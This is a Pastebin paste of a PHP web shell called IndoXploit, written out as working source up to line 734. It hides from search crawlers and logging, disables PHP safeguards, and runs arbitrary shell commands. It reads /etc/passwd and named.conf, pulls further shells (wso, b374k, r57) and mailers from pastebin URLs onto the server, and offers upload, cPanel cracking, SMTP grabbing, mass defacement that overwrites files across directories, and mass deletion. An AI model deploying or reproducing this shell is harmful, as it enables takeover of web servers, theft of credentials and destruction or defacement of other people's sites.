bdj-007

IndoXploit.php

Sep 2nd, 2017
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 117.76 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $auth_pass = "";
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21. header('HTTP/1.0 404 Not Found');
  22. exit;
  23. }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <html>
  29. <head>
  30. <title>Zuahahaa</title>
  31. <style type="text/css">
  32. html {
  33. margin: 20px auto;
  34. background: #000000;
  35. color: red
  36. text-align: center;
  37. }
  38. header {
  39. color: red;
  40. margin: 10px auto;
  41. }
  42. input[type=password] {
  43. width: 250px;
  44. height: 25px;
  45. color: red;
  46. background: #000000;
  47. border: hidden;
  48. padding: 5px;
  49. margin-left: 20px;
  50. text-align: center;
  51. }
  52. </style>
  53. </head>
  54. <center>
  55. <header>
  56. <img src="https://i.warosu.org/data/g/img/0476/75/1429906646580.gif"/>
  57. <br>
  58. <br>
  59. <form method="post">
  60. <input type="password" name="pass">
  61. </form>
  62. <?php
  63. exit;
  64. }
  65. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  66. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  67. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  68. else
  69. login_shell();
  70. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  71. @ob_clean();
  72. $file = $_GET['file'];
  73. header('Content-Description: File Transfer');
  74. header('Content-Type: application/octet-stream');
  75. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  76. header('Expires: 0');
  77. header('Cache-Control: must-revalidate');
  78. header('Pragma: public');
  79. header('Content-Length: ' . filesize($file));
  80. readfile($file);
  81. exit;
  82. }
  83. ?>
  84. <html>
  85. <head>
  86. <center>
  87. <title>halah kontlo</title>
  88. <meta name='author' content='D4RKNE55'>
  89. <meta charset="UTF-8">
  90. <center><style type='text/css'>
  91. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  92. html {
  93. background: #000000;
  94. color: #ffffff;
  95. font-family: 'abel';
  96. font-size: 13px;
  97. width: 100%;
  98. }
  99. li {
  100. display: inline;
  101. margin: 5px;
  102. padding: 5px;
  103. }
  104. table, th, td {
  105. border-collapse:collapse;
  106. font-family: Tahoma, Geneva, sans-serif;
  107. background: transparent;
  108. font-family: 'abel';
  109. font-size: 13px;
  110. }
  111. .table_home, .th_home, .td_home {
  112. border: 1px solid #ffffff;
  113. }
  114. th {
  115. padding: 10px;
  116. }
  117. a {
  118. color: #ffffff;
  119. text-decoration: none;
  120. }
  121. a:hover {
  122. color: gold;
  123. text-decoration: underline;
  124. }
  125. b {
  126. color: gold;
  127. }
  128. input[type=text], input[type=password],input[type=submit] {
  129. background: transparent;
  130. color: #ffffff;
  131. border: 1px solid #ffffff;
  132. margin: 5px auto;
  133. padding-left: 5px;
  134. font-family: 'abel';
  135. font-size: 13px;
  136. }
  137. textarea {
  138. border: 1px solid #ffffff;
  139. width: 100%;
  140. height: 400px;
  141. padding-left: 5px;
  142. margin: 10px auto;
  143. resize: none;
  144. background: transparent;
  145. color: #ffffff;
  146. font-family: 'abel';
  147. font-size: 13px;
  148. }
  149. select {
  150. width: 152px;
  151. background: #000000;
  152. color: cyan;
  153. border: 1px solid #ffffff;
  154. margin: 5px auto;
  155. padding-left: 5px;
  156. font-family: 'abel';
  157. font-size: 13px;
  158. }
  159. option:hover {
  160. background: cyan;
  161. color: #000000;
  162. }
  163. </style>
  164. </head>
  165. <center>
  166. <?php
  167. if (file_exists("php.ini")){
  168. }else{
  169. $img = fopen('php.ini', 'w');
  170. $sec = "safe_mode = OFF
  171. disable_funtions = NONE";
  172. fwrite($img ,$sec);
  173. fclose($img);}
  174. function w($dir,$perm) {
  175. if(!is_writable($dir)) {
  176. return "<font color=red>".$perm."</font>";
  177. } else {
  178. return "<font color=lime>".$perm."</font>";
  179. }
  180. }
  181. function exe($cmd) {
  182. if(function_exists('system')) {
  183. @ob_start();
  184. @system($cmd);
  185. $buff = @ob_get_contents();
  186. @ob_end_clean();
  187. return $buff;
  188. } elseif(function_exists('exec')) {
  189. @exec($cmd,$results);
  190. $buff = "";
  191. foreach($results as $result) {
  192. $buff .= $result;
  193. } return $buff;
  194. } elseif(function_exists('passthru')) {
  195. @ob_start();
  196. @passthru($cmd);
  197. $buff = @ob_get_contents();
  198. @ob_end_clean();
  199. return $buff;
  200. } elseif(function_exists('shell_exec')) {
  201. $buff = @shell_exec($cmd);
  202. return $buff;
  203. }
  204. }
  205. function perms($file){
  206. $perms = fileperms($file);
  207. if (($perms & 0xC000) == 0xC000) {
  208. $info = 's';
  209. } elseif (($perms & 0xA000) == 0xA000) {
  210. $info = 'l';
  211. } elseif (($perms & 0x8000) == 0x8000) {
  212. $info = '-';
  213. } elseif (($perms & 0x6000) == 0x6000) {
  214. $info = 'b';
  215. } elseif (($perms & 0x4000) == 0x4000) {
  216. $info = 'd';
  217. } elseif (($perms & 0x2000) == 0x2000) {
  218. $info = 'c';
  219. } elseif (($perms & 0x1000) == 0x1000) {
  220. $info = 'p';
  221. } else {
  222. $info = 'u';
  223. }
  224. $info .= (($perms & 0x0100) ? 'r' : '-');
  225. $info .= (($perms & 0x0080) ? 'w' : '-');
  226. $info .= (($perms & 0x0040) ?
  227. (($perms & 0x0800) ? 's' : 'x' ) :
  228. (($perms & 0x0800) ? 'S' : '-'));
  229. $info .= (($perms & 0x0020) ? 'r' : '-');
  230. $info .= (($perms & 0x0010) ? 'w' : '-');
  231. $info .= (($perms & 0x0008) ?
  232. (($perms & 0x0400) ? 's' : 'x' ) :
  233. (($perms & 0x0400) ? 'S' : '-'));
  234. $info .= (($perms & 0x0004) ? 'r' : '-');
  235. $info .= (($perms & 0x0002) ? 'w' : '-');
  236. $info .= (($perms & 0x0001) ?
  237. (($perms & 0x0200) ? 't' : 'x' ) :
  238. (($perms & 0x0200) ? 'T' : '-'));
  239. return $info;
  240. }
  241. function hdd($s) {
  242. if($s >= 1073741824)
  243. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  244. elseif($s >= 1048576)
  245. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  246. elseif($s >= 1024)
  247. return sprintf('%1.2f',$s / 1024 ) .' KB';
  248. else
  249. return $s .' B';
  250. }
  251. function ambilKata($param, $kata1, $kata2){
  252. if(strpos($param, $kata1) === FALSE) return FALSE;
  253. if(strpos($param, $kata2) === FALSE) return FALSE;
  254. $start = strpos($param, $kata1) + strlen($kata1);
  255. $end = strpos($param, $kata2, $start);
  256. $return = substr($param, $start, $end - $start);
  257. return $return;
  258. }
  259. if(get_magic_quotes_gpc()) {
  260. function idx_ss($array) {
  261. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  262. }
  263. $_POST = idx_ss($_POST);
  264. }
  265. function CreateTools($names,$lokasi){
  266. if ( $_GET['create'] == $names ){
  267. $a= "".$_SERVER['SERVER_NAME']."";
  268. $b= dirname($_SERVER['PHP_SELF']);
  269. $c = "/cox_tools/".$names.".php";
  270. if (file_exists('cox_tools/'.$names.'.php')){
  271. echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
  272. }
  273. else {mkdir("cox_tools", 0777);
  274. file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
  275. echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
  276.  
  277. CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
  278. CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  279. CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
  280. CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
  281. CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
  282. CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
  283. CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
  284. CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
  285. CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
  286. CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
  287. CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
  288. CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
  289. CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
  290. CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
  291. CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
  292. if(isset($_GET['dir'])) {
  293. $dir = $_GET['dir'];
  294. chdir($_GET['dir']);
  295. } else {
  296. $dir = getcwd();
  297. }
  298. $dir = str_replace("\\","/",$dir);
  299. $scdir = explode("/", $dir);
  300. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  301. $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  302. $ds = @ini_get("disable_functions");
  303. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  304. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  305. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  306. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  307. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  308. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  309. if(!function_exists('posix_getegid')) {
  310. $user = @get_current_user();
  311. $uid = @getmyuid();
  312. $gid = @getmygid();
  313. $group = "?";
  314. } else {
  315. $uid = @posix_getpwuid(posix_geteuid());
  316. $gid = @posix_getgrgid(posix_getegid());
  317. $user = $uid['name'];
  318. $uid = $uid['uid'];
  319. $group = $gid['name'];
  320. $gid = $gid['gid'];
  321. }
  322. $d0mains = @file("/etc/named.conf");
  323. $users=@file('/etc/passwd');
  324. if($d0mains)
  325. {
  326. $count;
  327. foreach($d0mains as $d0main)
  328. {
  329. if(@ereg("zone",$d0main))
  330. {
  331. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  332. flush();
  333. if(strlen(trim($domains[1][0])) > 2)
  334. {
  335. flush();
  336. $count++;
  337. }
  338. }
  339. }
  340. }
  341.  
  342. $sport=$_SERVER['SERVER_PORT'];
  343. echo "<table style='width:100%'>";
  344. echo "<tr><td>System: <font color=lime>".php_uname()."</font></td></tr>";
  345. echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr>";
  346. echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
  347. echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
  348. echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr>";
  349. echo "<tr><td>Port :<font color=lime> $sport</font> </td></tr>";
  350. echo "<tr><td>Safe Mode: $sm</td></tr>";
  351. echo "<tr><td>Disable Functions: $show_ds</td></tr>";
  352. echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr>";
  353. echo "<tr><td>Current DIR: ";
  354. foreach($scdir as $c_dir => $cdir) {
  355. echo "<a href='?dir=";
  356. for($i = 0; $i <= $c_dir; $i++) {
  357. echo $scdir[$i];
  358. if($i != $c_dir) {
  359. echo "/";
  360. }
  361. }
  362. echo "'>$cdir</a>/";
  363. }
  364. echo "</td></tr></table><hr>";
  365. echo "<center>";
  366. echo "<ul>";
  367. echo "<li>[ <a href='?'>Home</a> ]</li>";
  368. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  369. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  370. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  371. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  372. echo "<li>[ <a href='?dir=$dir&do=lcf'>LiteSpeed Config</a> ]</li>";
  373. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  374. echo "<li>[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br></li>";
  375. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  376. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  377. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  378. echo "<li>[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]</li>";
  379. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li><br>";
  380. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
  381. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
  382. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  383. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
  384. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  385. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  386. echo "<li>[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br></li>";
  387. echo "<li>[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]</li>";
  388. echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";
  389. echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
  390. echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]</li>";
  391. echo "<li>[ <a href='?dir=$dir&do=about'>About</a> ]</li>";
  392. echo "<li>[ <a href='?dir=$dir&do=metu'>LogOut</a> ]<br></li>";
  393. echo "</ul>";
  394. echo "</center>";
  395. echo "<hr>";
  396. if($_GET['do'] == 'upload') {
  397. echo "<center>";
  398. if($_POST['upload']) {
  399. if($_POST['tipe_upload'] == 'biasa') {
  400. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  401. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  402. } else {
  403. $act = "<font color=red>failed to upload file</font>";
  404. }
  405. } else {
  406. $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  407. $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  408. if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  409. if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  410. $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  411. } else {
  412. $act = "<font color=red>failed to upload file</font>";
  413. }
  414. } else {
  415. $act = "<font color=red>failed to upload file</font>";
  416. }
  417. }
  418. }
  419. echo "Upload File:
  420. <form method='post' enctype='multipart/form-data'>
  421. <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
  422. <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  423. <input type='file' name='ix_file'>
  424. <input type='submit' value='upload' name='upload'>
  425. </form>";
  426. echo $act;
  427. echo "</center>";
  428. }
  429. elseif($_GET['do'] == 'cmd') {
  430. echo "<form method='post'>
  431. <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  432. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  433. </form>";
  434. if($_POST['do_cmd']) {
  435. echo "<pre>".exe($_POST['cmd'])."</pre>";
  436. }
  437. } elseif($_GET['do'] == 'mass_deface') {
  438. echo "<center><form action=\"\" method=\"post\">\n";
  439. $dirr=$_POST['d_dir'];
  440. $index = $_POST["script"];
  441. $index = str_replace('"',"'",$index);
  442. $index = stripslashes($index);
  443. function edit_file($file,$index){
  444. if (is_writable($file)) {
  445. clear_fill($file,$index);
  446. echo "<Span style='color:red;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  447. }
  448. else {
  449. echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  450. }
  451. }
  452. function hapus_massal($dir,$namafile) {
  453. if(is_writable($dir)) {
  454. $dira = scandir($dir);
  455. foreach($dira as $dirb) {
  456. $dirc = "$dir/$dirb";
  457. $lokasi = $dirc.'/'.$namafile;
  458. if($dirb === '.') {
  459. if(file_exists("$dir/$namafile")) {
  460. unlink("$dir/$namafile");
  461. }
  462. } elseif($dirb === '..') {
  463. if(file_exists("".dirname($dir)."/$namafile")) {
  464. unlink("".dirname($dir)."/$namafile");
  465. }
  466. } else {
  467. if(is_dir($dirc)) {
  468. if(is_writable($dirc)) {
  469. if(file_exists($lokasi)) {
  470. echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  471. unlink($lokasi);
  472. $idx = hapus_massal($dirc,$namafile);
  473. }
  474. }
  475. }
  476. }
  477. }
  478. }
  479. }
  480. function clear_fill($file,$index){
  481. if(file_exists($file)){
  482. $handle = fopen($file,'w');
  483. fwrite($handle,'');
  484. fwrite($handle,$index);
  485. fclose($handle); } }
  486.  
  487. function gass(){
  488. global $dirr , $index ;
  489. chdir($dirr);
  490. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  491. $files = scandir($dirr) ;
  492. $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  493. sort($files);
  494. $n = 0 ;
  495. foreach ($files as $file){
  496. if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  497. echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  498. edit_file($file,$index);
  499. flush();
  500. $n = $n +1 ;
  501. }
  502. }
  503. echo "<br>";
  504. echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
  505. }
  506. function ListFiles($dirrall) {
  507.  
  508. if($dh = opendir($dirrall)) {
  509.  
  510. $files = Array();
  511. $inner_files = Array();
  512. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  513. $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  514. while($file = readdir($dh)) {
  515. if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  516. if(is_dir($dirrall . "/" . $file)) {
  517. $inner_files = ListFiles($dirrall . "/" . $file);
  518. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  519. } else {
  520. array_push($files, $dirrall . "/" . $file);
  521. }
  522. }
  523. }
  524.  
  525. closedir($dh);
  526. return $files;
  527. }
  528. }
  529. function gass_all(){
  530. global $index ;
  531. $dirrall=$_POST['d_dir'];
  532. foreach (ListFiles($dirrall) as $key=>$file){
  533. $file = str_replace('//',"/",$file);
  534. echo "<center><strong>$file</strong> ===>";
  535. edit_file($file,$index);
  536. flush();
  537. }
  538. $key = $key+1;
  539. echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
  540. function sabun_massal($dir,$namafile,$isi_script) {
  541. if(is_writable($dir)) {
  542. $dira = scandir($dir);
  543. foreach($dira as $dirb) {
  544. $dirc = "$dir/$dirb";
  545. $lokasi = $dirc.'/'.$namafile;
  546. if($dirb === '.') {
  547. file_put_contents($lokasi, $isi_script);
  548. } elseif($dirb === '..') {
  549. file_put_contents($lokasi, $isi_script);
  550. } else {
  551. if(is_dir($dirc)) {
  552. if(is_writable($dirc)) {
  553. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  554. file_put_contents($lokasi, $isi_script);
  555. $idx = sabun_massal($dirc,$namafile,$isi_script);
  556. }
  557. }
  558. }
  559. }
  560. }
  561. }
  562. if($_POST['mass'] == 'onedir') {
  563. echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  564. $ini="http://";
  565. $mainpath=$_POST[d_dir];
  566. $file=$_POST[d_file];
  567. $dir=opendir("$mainpath");
  568. $code=base64_encode($_POST[script]);
  569. $indx=base64_decode($code);
  570. while($row=readdir($dir)){
  571. $start=@fopen("$row/$file","w+");
  572. $finish=@fwrite($start,$indx);
  573. if ($finish){
  574. echo"$ini$row/$file\n";
  575. }
  576. }
  577. echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  578. $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  579. $dir=opendir("$mainpath");
  580. $code=base64_encode($_POST[script]);
  581. $indx=base64_decode($code);
  582. while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  583. $finish=@fwrite($start,$indx);
  584. if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  585. }
  586.  
  587. }
  588. elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  589. elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  590. elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  591. elseif($_POST['mass'] == 'massdeface') {
  592. echo "<div style='margin: 5px auto; padding: 5px'>";
  593. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  594. echo "</div>"; }
  595. else {
  596. echo "
  597. <center><font style='text-decoration: underline;'>
  598. Select Type:<br>
  599. </font>
  600. <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
  601. <option value=\"onedir\">Mass Deface 1 Dir</option>
  602. <option value=\"massdeface\">Mass Deface ALL Dir</option>
  603. <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  604. <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  605. <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  606. <font style='text-decoration: underline;'>Folder:</font><br>
  607. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  608. <font style='text-decoration: underline;'>Filename:</font><br>
  609. <input type='text' name='d_file' value='monkey.php' style='width: 450px;' height='10'><br>
  610. <font style='text-decoration: underline;'>Index File:</font><br>
  611. <textarea name='script' style='width: 450px; height: 200px;'>Hacked By Monkey B Luffy</textarea><br>
  612. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  613. </form></center>";
  614. }
  615. }
  616. elseif($_GET['do'] == 'zip') {
  617. echo "<center><h1>Zip Menu</h1>";
  618. function rmdir_recursive($dir) {
  619. foreach(scandir($dir) as $file) {
  620. if ('.' === $file || '..' === $file) continue;
  621. if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  622. else unlink("$dir/$file");
  623. }
  624. rmdir($dir);
  625. }
  626. if($_FILES["zip_file"]["name"]) {
  627. $filename = $_FILES["zip_file"]["name"];
  628. $source = $_FILES["zip_file"]["tmp_name"];
  629. $type = $_FILES["zip_file"]["type"];
  630. $name = explode(".", $filename);
  631. $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  632. foreach($accepted_types as $mime_type) {
  633. if($mime_type == $type) {
  634. $okay = true;
  635. break;
  636. }
  637. }
  638. $continue = strtolower($name[1]) == 'zip' ? true : false;
  639. if(!$continue) {
  640. $message = "Itu Bukan Zip , , GOBLOK COK";
  641. }
  642. $path = dirname(__FILE__).'/';
  643. $filenoext = basename ($filename, '.zip');
  644. $filenoext = basename ($filenoext, '.ZIP');
  645. $targetdir = $path . $filenoext;
  646. $targetzip = $path . $filename;
  647. if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
  648. mkdir($targetdir, 0777);
  649. if(move_uploaded_file($source, $targetzip)) {
  650. $zip = new ZipArchive();
  651. $x = $zip->open($targetzip);
  652. if ($x === true) {
  653. $zip->extractTo($targetdir);
  654. $zip->close();
  655.  
  656. unlink($targetzip);
  657. }
  658. $message = "<b>Sukses Gan :)</b>";
  659. } else {
  660. $message = "<b>Error Gan :(</b>";
  661. }
  662. }
  663. echo '<table style="width:100%" border="1">
  664. <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  665. <label>Zip File : <input type="file" name="zip_file" /></label>
  666. <input type="submit" name="submit" value="Upload And Unzip" />
  667. </form>';
  668. if($message) echo "<p>$message</p>";
  669. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
  670. if($_POST['backup']){
  671. $save=$_POST['save'];
  672. function Zip($source, $destination)
  673. {
  674. if (extension_loaded('zip') === true)
  675. {
  676. if (file_exists($source) === true)
  677. {
  678. $zip = new ZipArchive();
  679.  
  680. if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  681. {
  682. $source = realpath($source);
  683.  
  684. if (is_dir($source) === true)
  685. {
  686. $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  687.  
  688. foreach ($files as $file)
  689. {
  690. $file = realpath($file);
  691.  
  692. if (is_dir($file) === true)
  693. {
  694. $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  695. }
  696.  
  697. else if (is_file($file) === true)
  698. {
  699. $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  700. }
  701. }
  702. }
  703.  
  704. else if (is_file($source) === true)
  705. {
  706. $zip->addFromString(basename($source), file_get_contents($source));
  707. }
  708. }
  709.  
  710. return $zip->close();
  711. }
  712. }
  713.  
  714. return false;
  715. }
  716. Zip($_POST['dir'],$save);
  717. echo "Done , Save To <b>$save</b>";
  718. }
  719. echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  720. if($_POST['extrak']){
  721. $save=$_POST['save'];
  722. $zip = new ZipArchive;
  723. $res = $zip->open($_POST['dir']);
  724. if ($res === TRUE) {
  725. $zip->extractTo($save);
  726. $zip->close();
  727. echo 'Succes , Location : <b>'.$save.'</b>';
  728. } else {
  729. echo 'Gagal Mas :( Ntahlah !';
  730. }
  731. }
  732. echo '</tr></table>';
  733. }
  734. elseif($_GET['do'] == 'shellchk') {
